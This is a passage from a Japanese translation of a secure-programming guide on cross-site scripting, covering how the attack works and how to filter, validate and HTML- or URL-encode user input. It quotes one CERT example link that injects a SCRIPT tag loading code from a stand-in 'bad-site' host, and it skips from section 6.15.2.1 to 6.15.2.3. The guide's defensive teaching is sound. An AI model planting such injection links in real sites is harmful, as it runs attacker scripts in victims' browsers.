6.15. サイトにまたがって存在する悪意あるコンテンツを防ぐ

安全が必要なプログラムには、信頼できないユーザ(攻撃者)からデータを受け取ったり、 そのデータを別のユーザ・アプリケーション(犠牲者)に渡すものがあります。 安全が必要なプログラムが犠牲者を保護してあげなければ、犠牲者となるアプリ ケーション(たとえば Web アプリケーション)は、そのデータを処理して、犠牲者に 害を及ぼします。 これは、HTML や XML を利用した Web アプリケーションではとりわけ良く見られる 問題で、「クロスサイト・スクリプティング」や「悪意ある HTML タグ」、 「悪意あるコンテンツ」といういくつかの呼び方で通っています。 このドキュメントでは、この問題を「サイトにまたがった悪意あるコンテンツ」と 呼びます。スクリプトや HTML に問題がしぼられているわけではなく、サイトに またがる性質が問題の根本だからです。 この問題は Web アプリケーションに限ったものではありませんが、Web アプリ ケーションにとっては特別に問題となるので、これからこのドキュメントでは Web アプリケーションに焦点を当てて論じていきます。 まもなく説明して行きますが、攻撃者は時に犠牲者がデータを安全が必要な プログラムに対して送りつけるように仕向ける場合があります。そこで安全が必要 なプログラムは、犠牲者自身を守ってあげなければいけません。

6.15.1. 問題を説明する

まずは単純な例からはじめましょう。 Web アプリケーションには、HTML タグでユーザからのデータ入力を許可し、後で 他の読者に投稿するものがあります(たとえば、ゲストブックや「読者のコメント」 コーナー)。 何も防御する手段を講じなければ、タグを悪意あるユーザが利用して、スクリプトや Java に対する参照、DHTML タグ、ドキュメントの早すぎる終了(</HTML> を使って)、ばかげたフォントサイズの要求等を入れ込むことで、他のユーザに攻撃 をかけられます。 この機能は、広範囲に影響を及ぼす可能性があります。たとえば、SSL で暗号化された 接続をさらしてしまったり、制限をかけている Web サイトにクライアント経由で アクセスできたり、ドメインベースのセキュリティ・ポリシを侵害したり、 Web サイトのページを読めなくしたり、Web サイトのページを使うに耐えないもの にしたり(たとえば、バーナーや不快な素材で困らせる)、プライバシー侵害を許し てしまったり(たとえば、Web のバグを入れ込んで、誰がどのページを読んだか記録 してしまう)、サービス拒否攻撃を行ったり(たとえば、ウインドウを「無限に」開く)、 破壊的な攻撃(ブラウザのスクリプト言語やバッファオーバーフローのような セキュリティ上の脆弱性を攻撃する)を行ったりします。 適当な場所に悪意ある FORM タグを組み込むことで、侵入者はユーザをだまして、 機密情報をさらさせることも可能になります(既存のフォームの動作を変更することで)。 これは問題を網羅したリストではありませんが、事は重大だ、と納得してもらうには 十分でしょう。

大部分の「掲示板」で既にこの問題が見つかっています。その内のほとんど では、複数人の議論の一部のために用意したテキスト内で対処しています。 残念ながら Web アプリケーションの開発者の大部分は、この問題がごく普通に発生 するものだとは気づいていません。 あるユーザから別のユーザに送られるデータ値はどれでも、 サイトにまたがった悪意ある投稿の原因になりえます。たとえその場所が、どんな HTML でも置けるという「明らかに疑わしい」場合でなくてもです。 ユーザ自身が悪意あるデータを供給してしまうケースがあります。つまり、ユーザ がだまされて、他のサイト経由でデータを提供してしまう場合です。 ここで HTML リンクでユーザが悪意あるデータを他のサイトに送ってしまう例 をあげておきます(CERT から引用しました)。
 <A HREF="http://example.com/comment.cgi?mycomment=<SCRIPT
 SRC='http://bad-site/badfile'></SCRIPT>"> Click here</A>

つまり Web アプリケーションは、チェックやフィルタリング、符号化なしでは 入力(フォームデータを含む)を受けられません。 Web アプリケーションは多くの場合、同じユーザに対してさえ入力したデータ を戻せません。それは他のユーザがこっそりとそのデータを提供しているかも しれないからです。 そのような構成要素を許可すると、システムに損害を与えるかもしれません。 そのシステムがユーザを攻撃する経路になってしまう可能性があるからです。 さらに悪いことに、そのような攻撃があなたのシステムからやってきているように 見えてしまうかもしれない点です。

CERT は勧告でこの問題を下記のように説明しています。

Web サイトに不用意に悪意ある HTML タグやスクリプトが入り込む恐れがあります。 信頼できないソースからの適切でない入力によって、動的に作成されたページに入り 込みます (CERT Advisory CA-2000-02, Malicious HTML Tags Embedded in Client Web Requests)。

6.15.2. サイトにまたがった悪意あるコンテンツに対処する方法

基本的には、Web アプリケーションの出力がどのユーザから影響を受けても、 フィルタをかけ(この問題を起こす文字列は排除されます)、符号化し(この問題を 起こす文字列は符号化されて問題を防ぎます)、検証する(「安全な」データ だけが通り抜けます)ことが大切です。 これには、URL パラメタやフォームデータやクッキー、データベースのクエリ、 CORBA ORB の結果、ファイルに格納されているユーザからのデータを入力として 渡ってくる出力すべてを含みます。 フィルタリングと検証は、ほとんどの場合入力時に済ましておいた方が良いのですが、 符号化は入力の検証と出力の作成時の間のどちらかで行っても良いと思います。 分析することなくデータを通してしまっているなら、入力時にデータを符号化 した方が良いと思います(やり忘れないでしょうから)。 しかしプログラムがそのデータを処理するなら、入力時ではなく出力時に符号化 する方が簡単です。 CERT はフィルタリングと符号化を出力時に行うよう、推奨しています。 悪くはないのですが、入力時に行う方が合理的なケースが多々あります。 出力毎にすべてのケースを網羅しなければならないのは非常に問題で、方法の いかんにかかわらず簡単とはいえません。 【訳註:CORBA(Comon Object Request Broker Architecture)や ORB(Object Request Broker)についてここで説明するのは難しいので、 スキルアップのための分散オブジェクト入門を見てください。わかりやすい と思います】

注意。出力の文字符号化をコントロールできなければ、これらのテクニックが役立た なくなるケースがかなりあります。 そうでなくとも、攻撃者は「予想だにしない」文字符号化を行い、ここで論じた テクニックを無効にできます。 ありがたいことに、コントロールするのは難しくありません。 出力の文字符号化のコントロールについては、 Section 8.5で論じています。

下記のサブセクションでは、まずフィルタをかけたり、符号化したり、検証したり する必要がある特殊文字の識別方法について論じ、その後にそれらの文字のフィルタ や符号化もしくはその検証方法について論じます。 データを検証する一般的な方法を論じたサブセクションはありませんが、入力の検証 一般を扱った Chapter 4や、もし入力が HTML テキストそのものや URI なら Section 4.10を見てください。 また、Web アプリケーションは悪意を持ったサイトをまたがる投稿を受けとれるので、 クエリ以外での GET プロトコルの使用は禁止してください (Section 4.11を参照してください)。

6.15.2.1. 特殊文字を識別する

ここでは、さまざまな環境における特殊文字を載せます。 (この一覧を作成した CERT に感謝します)

一般的に HTML や XML においては、アンパサンド(&)は特殊扱いです。

6.15.2.3. 符号化

特殊文字を削除する別の方法に、特殊文字を符号化して特殊な意味を持たなく してしまうやり方があります。 この方法は、文字にフィルタをかける方法に対して若干長所があり、特にデータを 取りこぼさない点が優れています。 ユーザから見て、フィルタする過程でデータが「めちゃくちゃ」になるなら、 少なくとも符号化をしておけば、元々送られてきたデータの再構成が可能に なります。

HTML や XML、SGML は皆、アンパサンド(「&」)を本文中で何らかの符号化が はじまる文字として使っています。この符号化は「HTML エンコード」とよく言われて います。 これらの文字を符号化するには、ただご自分の環境で特殊文字に変換してやるだけ です。普通これは、 「<」が「&lt;」、 「>」が「&gt;」、 「&」が「&amp;」、 「"」が「&quot;」となります。 上記で注意しなければならないのは、理屈上は「>」はここで挙げる必要はないの ですが、ブラウザには「>」が悪さをしてしまうものがあるので(「<」 を入れてしまう)、ここで挙げることにしました。 二重引用符も多少面倒で、「&quot;」を使う必要があるのは属性内部だけですが、 古いブラウザにはきちんと表示できないものもあります。 さらに複雑になってもかまわないなら、必要に応じて「"」を符号化しても かまいませんが、単純に符号化する方がやさしいので、ユーザにブラウザのバージョン アップをお願いしてください。

この HTML エンコーディングに対する解決方法は、状況によっては符号化が十分で ないケースがあります。 Section 8.5 で論じていますが、出力文字 の符号化(「文字セット」)を指定してやる必要があります。 出力文字の符号化とは別の符号化を使って文字を符号化しているデータがあるなら、 何らかの手を打つ必要があります。そうしないと出力に整合性がなくなり、正しい結果 になりません。 また ISO-8859-1 以外で符号化して出力するなら、代わりとなる符号化が何であれ、 ブラウザに特殊文字(「<」のような)の符号化が決して渡らないようにしてください。 文字符号化のいくつかのケースでこれが問題になります。広く使われているものでは、 UTF-7 や UTF-8 がそれに当たります。「代わりとなる」文字の符号化を防ぐ方法 についての詳しい情報については、Section 4.8 を見て ください。 互換性の無い文字符号化を扱う方法の一つに、まず文字を内部的には ISO 10646 (Unicode と同じ文字値)に変換してしまう方法があります。そうしておいて、 数字文字への参照もしくは文字エンティティへの参照を使って、それらを表示 します。

  • 数字文字への参照は、「&#D;」のように行います。D は 10 進数です。また、「&#xH;」もしくは「&#XH;」とします。H は 16 進数です。 この数字は、ISO 10646 文字コードです(Unicode と同じ文字値です)。 つまり &#1048; はキリル文字の大文字の「I」です。 SGML 規格(ISO 8879)では 16 進数系をサポートしていませんので、出力には 10 進数 系を使用するようにお薦めします。 また SGML の仕様では、ある環境下で後続のセミコロンの省略を認めています。 実際に、システムの多くでは扱えません。したがって、常にセミコロンを後ろに付ける ようにしてください。

  • 文字エンティティへの参照は、同じようなものですが、数字の かわりに覚えやすい名前を使っています。 たとえば、「&lt;」は < を表わします。 HTML を書いているなら、 HTML 仕様 に覚えやすい名前をすべて 一覧にしてありますので、見てください。

どちらの系(数字もしくは文字エンティティ)でもうまくいきます。 「<」や「>」、「&」、「"」への参照は文字エンティティを使う ことをお薦めします。理由はコード(や出力)を見て解りやすいからです。あとは いろいろで、どの系が全般的に優れているか、はっきりしません。 あとで人が手で出力を編集するつもりなら、文字エンティティが使えるところには 使ってください。さもなければ、プログラムが簡単になるという理由で、10 進数 で文字を参照するようにします。 この符号化のプランは、言語によってはまったく役に立ちません(とくにアジアの 言語では)。主に使用するコンテンツがその言語なら、別の文字符号化(文字セット) を選択し、危ない文字(たとえば「<」)をフィルタした方がよいかもしれません。 危ない文字を認めてしまうような他の符号化は、決してしないようにしてください。

URI は独自に符号化の仕組みを用意しています。通常はそれを 「URL エンコーディング」と呼んでいます。 この系では、URL 中に認められない文字をパーセント記号の後に 2 桁の 16 進数値 を使って表示します。 ISO 10646(Unicode)を扱うため、まずコードを UTF-8 に変換してから符号化する ことが推奨されています。 URI の検証については Section 4.10.4 でさらに論じています ので、見てください。